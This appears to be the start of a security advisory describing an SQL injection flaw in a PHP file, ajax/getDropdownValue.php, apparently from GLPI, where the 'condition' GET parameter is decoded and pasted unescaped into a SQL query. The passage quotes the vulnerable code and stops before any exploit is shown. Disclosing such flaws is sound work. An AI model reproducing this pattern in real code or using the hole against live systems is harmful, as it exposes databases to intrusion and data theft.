1. Description

$_GET['condition'] is not escaped correctly.

File: ajax\getDropdownValue.php
if (isset($_GET['condition']) && !empty($_GET['condition'])) {
   $_GET['condition'] = rawurldecode(stripslashes($_GET['condition']));
}
if (isset($_GET['condition']) && ($_GET['condition'] != '')) {
   $where .= " AND ".$_GET['condition']." ";
}
$query = "SELECT `$table`.* $addselect
         FROM `$table`
         $addjoin
         $where
         ORDER BY $add_order `$table`.`completename`
         $LIMIT";

if ($result = $DB->query($query)) {
